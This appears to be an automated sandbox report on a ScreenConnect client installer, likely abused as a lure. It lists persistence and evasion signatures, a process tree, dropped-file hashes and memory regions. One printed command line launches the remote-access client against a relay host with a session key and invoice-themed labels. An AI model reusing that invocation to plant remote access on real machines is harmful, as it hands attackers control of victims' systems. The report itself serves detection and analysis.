Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    26/08/2026, 16:17

General

  • Target
    ScreenConnect.ClientSetup.exe
  • Size 12.2MB
  • Sample260826-trdhtazvas
  • SHA256 a6157d0e7fa3068337f0b66b4f9cefa042a86dd099a405dfb5e2bf6a1f822865
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 9 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Drops file in Program Files directory 16 IoCs
  • Drops file in Windows directory 17 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 42 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.exe
    "C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:728
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\26.5.3.9691\01620a16452b27ac\ScreenConnect.ClientSetup.msi" SC_EXE_PATH="C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.exe"
      2⤵
      • Badlisted process makes network request
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:3312
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2312
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding D3B6C1F078088A87DB59168888C2502E C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4788
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI5DD6.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240737875 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3380
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI62C8.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240739171 11 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiMotw
        3⤵
        • Badlisted process makes network request
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4644
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI5D08.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240803218 19 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiFileName
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3652
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:3636
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 19D7293F1B77AF294F353EAED422BA4D
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:5760
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 8FF903D256EA07194999AD4A6BA9CEAB E Global\MSI0000
        2⤵
        • Drops file in Windows directory
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:556
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:5216
    • C:\Program Files (x86)\ScreenConnect Client (01620a16452b27ac)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (01620a16452b27ac)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-n15hus-relay.screenconnect.com&p=443&s=291b1486-c67f-4c59-9c60-27fb7c3066e4&k=BgIAAACkAABSU0ExAAgAAAEAAQAN67ffUXclkwDTi8ukoo%2bD3mTZ8In41rXHtDkJi4E6VPxYk48aTreBt%2fK5keI7q20JPu3AVN%2fObWBerUkag3FhwnryxOpflGyQ5eFWssB901MlqF9Nb%2fS4kgv9Pj8yKOkabhKi%2bb3bwft1GKkbEdjWxF2y2e6zgYEYkszFv2LM5eMnXbZ8L7JdwJ5TjQ15aj6YlDgh%2fJXq8YcVTnloKclieWiz0AiUHbEgVeRrjLi6tlv8b2v9TLq5UsMyKs0422TsLW%2fKpmdnLIWr0wVnHzy0vWYB1JoShDAXz6uadkYQmCe23uXxTTEcKe%2fXDiCcjA1ygGkewQ7Nzk7o3K0VqQDW&c=Maria&c=finan4ceiro122&c=Fatura&c=pdf343&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Drops file in System32 directory
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4684
      • C:\Program Files (x86)\ScreenConnect Client (01620a16452b27ac)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (01620a16452b27ac)\ScreenConnect.WindowsClient.exe" "RunRole" "491b601d-a87b-4bc1-83e1-a0f6be5d8a14" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:4592
      • C:\Program Files (x86)\ScreenConnect Client (01620a16452b27ac)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (01620a16452b27ac)\ScreenConnect.WindowsClient.exe" "RunRole" "0913a402-30d7-4f23-bfb3-b2866ce67b0f" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:5792

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          e5aa54b.rbs

          • Path C:\Config.Msi\e5aa54b.rbs
          • Size 214KB
          • SHA256 dd27b39a45825680452b1b7a5832ae8ede07353978e16fe4d5426febe09eeb45
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (01620a16452b27ac)\Client.en-US.resources
          • Size 64KB
          • SHA256 a90983b3d26f9e6bb472663b84d13254349f62b0ad4c667fd76b3edd270240b2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (01620a16452b27ac)\Client.resources
          • Size 6KB
          • SHA256 bd34378ad99f7609fa0c7c8edde6337c738a61d288863015629329806a1cc728
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (01620a16452b27ac)\ScreenConnect.Client.dll
          • Size 412KB
          • SHA256 8e5531c2b302f9c95ed32ac7481d3535b6d51147257d317686c07ea1a9cb8362
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (01620a16452b27ac)\ScreenConnect.ClientService.dll
          • Size 92KB
          • SHA256 ed32fe0d924959020cbef0534a7ba612e94263ccc74837475f3b5a6a726acad0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (01620a16452b27ac)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 16b4c273a25526e7262716ebe9d46480962347191a034595f18be740d9ce1e17
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (01620a16452b27ac)\ScreenConnect.Core.dll
          • Size 579KB
          • SHA256 f64cb7ab5f105c22348a22e02dd506ff45456884639fee0f322862112860af24
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (01620a16452b27ac)\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 c50d6e8d93ed197dd0cfb647743b42a2a6a9289f6db04092f56cefd6d569663e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (01620a16452b27ac)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (01620a16452b27ac)\ScreenConnect.WindowsClient.exe
          • Size 678KB
          • SHA256 2ad8f126461607aad3fa31a41f1f39bc74f471fd84191b43e205610db2c4cf09
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (01620a16452b27ac)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (01620a16452b27ac)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 4868b7997b9b4260be2df752a81a750388243cdbea37e4d82a9e0101cd29d0c7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (01620a16452b27ac)\system.config
          • Size 960B
          • SHA256 8d4af976a0e6f12b92415636a2d06a4b8d0c609c18018baf94ebdea57b11fdef
          • MD5 SHA1 SHA512 TLSH

          MSI5DD6.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI5DD6.tmp
          • Size 1.1MB
          • SHA256 de867af8055f81b7691f12175deb4c4e7f3bf97130e51761ed02182b0496e16f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI5DD6.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI5DD6.tmp-\ScreenConnect.Core.dll
          • Size 569KB
          • SHA256 e92d94613443befebb55b08f80d10a2fdbfc58233e8dc95cfb4466fde12964f7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI5DD6.tmp-\ScreenConnect.InstallerActions.dll
          • Size 24KB
          • SHA256 d827d3575ca29f8a40ea5379c7df2b315fc72cbd93451de94e199740594b51bb
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI5DD6.tmp-\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 320b89343e896a8d2ebf537861d800a9aca88245cc3b5616bb5bea5cc6797fbb
          • MD5 SHA1 SHA512 SSDEEP TLSH

          CustomAction.config

          • Path C:\Users\Admin\AppData\Local\Temp\MSI62C8.tmp-\CustomAction.config
          • Size 234B
          • SHA256 7027b69ab6ebc9f3f7d2f6c800793fde2a057b76010d8cfd831cf440371b2b23
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI62C8.tmp-\ScreenConnect.WindowsInstaller.dll
          • Size 137KB
          • SHA256 dbf379b93127345a83282380aee634d0b70ec731acfeea76617c76e76fdc764f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\26.5.3.9691\01620a16452b27ac\ScreenConnect.ClientSetup.msi
          • Size 9.8MB
          • SHA256 fee4bed4af389a86719204e7805ed564ab246248572370c4ca1a2b484fd4d76c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSIAA4C.tmp

          • Path C:\Windows\Installer\MSIAA4C.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          bicxj0o3.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (01620a16452b27ac)\bicxj0o3.newcfg
          • Size 683B
          • SHA256 d212f5d2b90472d82c310812800625a821842314530bede60ed368a51cb2147e
          • MD5 SHA1 SHA512 TLSH

          guhahvvx.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (01620a16452b27ac)\guhahvvx.newcfg
          • Size 882B
          • SHA256 57fcabdfabd05839f561413c72e80dc7d19bed49d005156d694cea4610beb5ea
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (01620a16452b27ac)\user.config
          • Size 520B
          • SHA256 47f8638dfd9177f809a5b862d25b94d28c4645bda2827f0c01c8f831ee68ff9e
          • MD5 SHA1 SHA512 TLSH

          memory/728-4-0x00000000037D0000-0x00000000037F8000-memory.dmp

          memory/728-3-0x0000000005D50000-0x0000000005DE4000-memory.dmp

          memory/728-0-0x00000000749F2000-0x00000000749F3000-memory.dmp

          memory/728-2-0x00000000037A0000-0x00000000037AC000-memory.dmp

          memory/728-5-0x0000000005E90000-0x0000000006040000-memory.dmp

          memory/728-12-0x00000000749E0000-0x000000007519C000-memory.dmp

          memory/728-6-0x00000000749E0000-0x000000007519C000-memory.dmp

          memory/728-10-0x00000000749E0000-0x000000007519C000-memory.dmp

          memory/728-9-0x00000000749E0000-0x000000007519C000-memory.dmp

          memory/728-7-0x0000000006600000-0x0000000006BBA000-memory.dmp

          memory/728-1-0x00000000035E0000-0x00000000035E8000-memory.dmp

          memory/3380-34-0x0000000005390000-0x00000000053BE000-memory.dmp

          memory/3380-46-0x00000000056E0000-0x0000000005890000-memory.dmp

          memory/3380-38-0x00000000053E0000-0x00000000053EC000-memory.dmp

          memory/3380-42-0x0000000005490000-0x0000000005524000-memory.dmp

          memory/4592-222-0x000000001B2D0000-0x000000001B364000-memory.dmp

          memory/4592-223-0x000000001B520000-0x000000001B6D0000-memory.dmp

          memory/4592-224-0x0000000000C00000-0x0000000000C1A000-memory.dmp

          memory/4592-226-0x000000001AE20000-0x000000001AE61000-memory.dmp

          memory/4592-225-0x000000001B860000-0x000000001B9E8000-memory.dmp

          memory/4592-221-0x000000001AEC0000-0x000000001AF2C000-memory.dmp

          memory/4592-229-0x000000001C740000-0x000000001C90A000-memory.dmp

          memory/4592-219-0x00000000001C0000-0x000000000026E000-memory.dmp

          memory/4644-76-0x0000000005890000-0x00000000058B8000-memory.dmp

          memory/4684-154-0x0000000001750000-0x000000000176A000-memory.dmp

          memory/4684-201-0x00000000044D0000-0x00000000045A6000-memory.dmp

          memory/4684-199-0x0000000003DF0000-0x0000000003E31000-memory.dmp

          memory/4684-197-0x00000000042E0000-0x0000000004372000-memory.dmp

          memory/4684-196-0x0000000003FA0000-0x000000000400C000-memory.dmp

          memory/4684-177-0x0000000003EE0000-0x0000000003F30000-memory.dmp

          memory/4684-164-0x0000000004090000-0x0000000004240000-memory.dmp

          memory/4684-160-0x0000000003E40000-0x0000000003ED4000-memory.dmp

          memory/5792-228-0x000000001D4D0000-0x000000001D69A000-memory.dmp